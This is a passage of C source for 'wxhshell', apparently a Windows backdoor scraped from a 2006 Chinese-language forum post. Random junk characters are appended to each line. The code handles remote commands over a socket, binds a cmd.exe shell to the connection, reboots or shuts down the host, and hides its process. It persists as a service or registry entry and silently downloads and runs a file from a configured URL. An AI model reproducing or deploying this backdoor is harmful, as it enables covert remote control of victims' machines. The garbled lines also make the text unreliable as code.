  A 3l1$t#w  
  // 帮助 4w,}1uNEf  
  case '?': { 5I14"Qf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !p$V7pFu6  
    break; Yu=^`I  
  } {ig@Iy~DT  
  // 安装 |j<'[gB\p  
  case 'i': { =Ao;[j)*!  
    if(Install()) I~I%z'"RQd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F 7=-k/k  
    else -uZ^UG!K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s0u$DM2  
    break; gqhW.e}]  
    } +Muyp]_  
  // 卸载 ;&!l2UB%  
  case 'r': { ~oI49Q&{  
    if(Uninstall()) /zWWUl`:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +-"#GL~cC  
    else HFazqQ[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zV]0S o  
    break; pP#?|  
    } tXx9N_/  
  // 显示 wxhshell 所在路径  O>3'ylBQ  
  case 'p': { q% "nk  
    char svExeFile[MAX_PATH]; m:t $&  
    strcpy(svExeFile,"\n\r"); *QVE>{  
      strcat(svExeFile,ExeFile); \r2w@F{C  
        send(wsh,svExeFile,strlen(svExeFile),0); yRtFUlm`  
    break; bu.36\78  
    } >Et?7@   
  // 重启 2a^(8A`7W  
  case 'b': { z}%to0W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <j>@Fg#q  
    if(Boot(REBOOT)) ;u%hwlo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $2.DZ  
    else { "~ /3  
    closesocket(wsh); "YBA$ef$  
    ExitThread(0); C9z{8 ;  
    } {MS&t09Wh  
    break; ~^eAS;  
    } %wO~\:F8  
  // 关机 \@xnC$dd/  
  case 'd': { -'nx7wnj2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xU&rUk/L  
    if(Boot(SHUTDOWN)) JsC0^A;fM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Vs;Y&t]  
    else { ;(sb^O  
    closesocket(wsh); /\9Kr;@vk  
    ExitThread(0); Hq~ 2,#Ue  
    } 0K!9MDT}*  
    break; #wo_  
    } Kq*^*vWC  
  // 获取shell `>*P(yIN  
  case 's': { BK +JHT  
    CmdShell(wsh);  D;5RcZ  
    closesocket(wsh); OJ 2M_q)e  
    ExitThread(0); H0Tt(:.&  
    break; 6?~pWZ&k_  
  } qGw6Wp~  
  // 退出 +X< Z 43  
  case 'x': { `XD$1>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZGrV? @o,6  
    CloseIt(wsh); P)H%dJ ^l  
    break; \KEL.}B9E  
    } hk=+t&Y<H  
  // 离开 R6!3Y/Q@  
  case 'q': { C?|gf?1p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ed{9UJWh  
    closesocket(wsh); s"'1|^od  
    WSACleanup(); u0x\5!?2  
    exit(1); v|hi;l@7E  
    break; jJf|Ok:G{  
        } |k)u..k{>  
  } !b 7H  
  } G6 GXC`^+  
bi5'-.B  
  // 提示信息 bNC1[GG[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d ] [E;$  
} a5)+5  
  } o;O_N^_W  
. v;Npm2  
  return; )TWf/L cp  
} [ -%oO  
:S%|^Q AN  
// shell模块句柄 EH[?*>+s  
int CmdShell(SOCKET sock) x&f?c=\F  
{ mX#T<_=d  
STARTUPINFO si; j/W#=\xz  
ZeroMemory(&si,sizeof(si)); (cMrEuv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :s4CWE d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _[<I&^%  
PROCESS_INFORMATION ProcessInfo; ;[|x5o /<  
char cmdline[]="cmd"; xv)7-jlx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,7'l$-rl  
  return 0; lr|-_snx2  
} { u;ntDr  
>s{[d$  
// 自身启动模式 ($3QjH_@  
int StartFromService(void) 6=zme6D  
{ `aC#s3[  
typedef struct m1frN#3  
{ ch-GmAj 9  
  DWORD ExitStatus; s*VZLKO  
  DWORD PebBaseAddress; Zw }7vD0  
  DWORD AffinityMask; Pukq{/27  
  DWORD BasePriority; UH)A n:9  
  ULONG UniqueProcessId; EswM#D 9(4  
  ULONG InheritedFromUniqueProcessId; %7{6>6%  
}   PROCESS_BASIC_INFORMATION; YT-t$QyL  
H6~QSe0l  
PROCNTQSIP NtQueryInformationProcess; upX/fL c  
y(q1~73s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9m#`56G`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 94n,13  
h5Z%|J>;0  
  HANDLE             hProcess; ]ao]?=q C  
  PROCESS_BASIC_INFORMATION pbi; ((H}d?^AJ  
/+3|tb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qz $1_vO  
  if(NULL == hInst ) return 0; )[/+j"F   
`B^?Za,xN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bd%/dr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u[cbRn,W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D F0~A  
6 Iup4sP  
  if (!NtQueryInformationProcess) return 0; fIFB"toiPE  
PI }A')Nq.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^d!-IL_  
  if(!hProcess) return 0; bZ0r/f,n$  
ZY {,//  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vZ|m3;X  
'?q|7[SU  
  CloseHandle(hProcess); FCOSgEU  
sfx:j~bsL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PF4Cs3m/  
if(hProcess==NULL) return 0; 2<<,aL*  
ZJd1Lx   
HMODULE hMod; /SZsXaC '  
char procName[255]; Z!tt(y\  
unsigned long cbNeeded; qA&N6`  
#Mi>f4T;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?e yo2:-$  
UiW( /L  
  CloseHandle(hProcess); bp;)*  
qksN {t  
if(strstr(procName,"services")) return 1; // 以服务启动 YW}1Mf=_  
R$NH [Tz  
  return 0; // 注册表启动 O /aC%%  
} ,HR~oT^  
dxxD%lHCF  
// 主模块 "o% N`Xlx  
int StartWxhshell(LPSTR lpCmdLine) T|r@:t[  
{ 8%2*RKj  
  SOCKET wsl; 91`biVZfA  
BOOL val=TRUE; k$# @_  
  int port=0; s +^YGB  
  struct sockaddr_in door; HIeWgw^"  
5"k _Ms7R,  
  if(wscfg.ws_autoins) Install(); 3,W2CN}  
X 1^f0\k  
port=atoi(lpCmdLine); r B)m{)  
G23Mr9m5O  
if(port<=0) port=wscfg.ws_port; j<4J_wE  
1KAA(W;nq  
  WSADATA data; ~1i,R1_\Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6D6=5!l  
DTsc&.29^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x]J{EA{+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p~DlZk"  
  door.sin_family = AF_INET; -9\O$I-3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9T`xW]Zf  
  door.sin_port = htons(port); ) ^!oM  
&}wKC:LSP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TdG[b1xN  
closesocket(wsl); u7<B*d:  
return 1; E&jngxlN  
} m RxL%!  
>{$ ;O  
  if(listen(wsl,2) == INVALID_SOCKET) { &(IL`%  
closesocket(wsl); |C\g3N-  
return 1; }Sqey:9jH  
} uFW4A  
  Wxhshell(wsl); n +`(R]Q  
  WSACleanup(); J9mLW}I?NW  
r"zW=9 O=  
return 0; l3)(aay!  
z@{|Y;s  
} ko>SnE|w#  
2p8JqZMQb  
// 以NT服务方式启动 G]=U=9ZI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]nEN3RJ  
{ l92#F*  
DWORD   status = 0; 'w^1re= R  
  DWORD   specificError = 0xfffffff; {M$mrmG  
LdDkd(k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DbH{; Fb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k;#$Oxa>t=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v$owG-_><  
  serviceStatus.dwWin32ExitCode     = 0; :DR G=-M  
  serviceStatus.dwServiceSpecificExitCode = 0; rX{QgyY&  
  serviceStatus.dwCheckPoint       = 0; WB"$NYB  
  serviceStatus.dwWaitHint       = 0; tlA4oVII  
vx5;}[Bhm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Hvnak{5  
  if (hServiceStatusHandle==0) return; U"<Z^)  
%]nLCoQh  
status = GetLastError(); 67~m9pk  
  if (status!=NO_ERROR) [yf2_{*0T  
{ 0@.$(Aqo(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @L,T/m-HF  
    serviceStatus.dwCheckPoint       = 0; d]} 7]  
    serviceStatus.dwWaitHint       = 0; zZ[SC  
    serviceStatus.dwWin32ExitCode     = status; Z: &"Ax  
    serviceStatus.dwServiceSpecificExitCode = specificError; b^;19]/RW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t9zPJQlT}  
    return; \#lh b  
  } hUxpz:U*  
cSnm\f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iS hB ^  
  serviceStatus.dwCheckPoint       = 0; 0/#XUX 4  
  serviceStatus.dwWaitHint       = 0; "mSDL:$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O_FT@bo\  
} .KIAeCvl\  
Q4Hf!v]r  
// 处理NT服务事件,比如:启动、停止 pz:$n_XC}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9 %,_G.  
{ `Z{; c  
switch(fdwControl) EN+WEMro  
{ ;#G>qo  
case SERVICE_CONTROL_STOP: rM2?"  
  serviceStatus.dwWin32ExitCode = 0; Go^W\y   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vpMNulXb,  
  serviceStatus.dwCheckPoint   = 0; H2zd@l:R  
  serviceStatus.dwWaitHint     = 0; Km 'd=B>Jy  
  { VjMd&>G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fFqK.^Tn  
  } .]k(7F!W  
  return; %Jq(,u  
case SERVICE_CONTROL_PAUSE: q}M^i7IE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C' o4Su#  
  break; *J 7>6N:-  
case SERVICE_CONTROL_CONTINUE: @j9yc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SdYES5aES  
  break; svU107?  
case SERVICE_CONTROL_INTERROGATE: Fu^^Jex  
  break; aEy_H-6f  
}; %&V<kH"7Q{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C.C\(2- Rr  
} RCND|X  
X:j&+d2g0/  
// 标准应用程序主函数 ?P4`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jQ4Pv`  
{ =3a`NO5!  
H) m!)=\'  
// 获取操作系统版本 o//N"S.)  
OsIsNt=GetOsVer(); kVe^g]F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s><RL]+{G+  
+7sdQCO(Co  
  // 从命令行安装 b! PN6<SI  
  if(strpbrk(lpCmdLine,"iI")) Install(); WLDt5R  
h}g _;k5R  
  // 下载执行文件 D4c}z#}*0  
if(wscfg.ws_downexe) { "@$o'rfT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5\S)8j `8  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4TG g`$e;  
} 8T&m{s  
[ j1SX-NX  
if(!OsIsNt) { H-1@z$p  
// 如果时win9x,隐藏进程并且设置为注册表启动 5u~Ik c~  
HideProc(); kFw3'OZ,  
StartWxhshell(lpCmdLine); P+%O]v1 Ob  
} 9cQKXh:R.  
else <Zl0$~B:5  
  if(StartFromService()) ]\+bx=  
  // 以服务方式启动 v)%EG  
  StartServiceCtrlDispatcher(DispatchTable); RVXRF_I  
else C3G?dZKv2  
  // 普通方式启动 8ftLYMX@  
  StartWxhshell(lpCmdLine); rQ30)5^V|  
:* /<eT_  
return 0; gG*O&gQY  
}
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只看该作者 1 发表于: 2006-10-10
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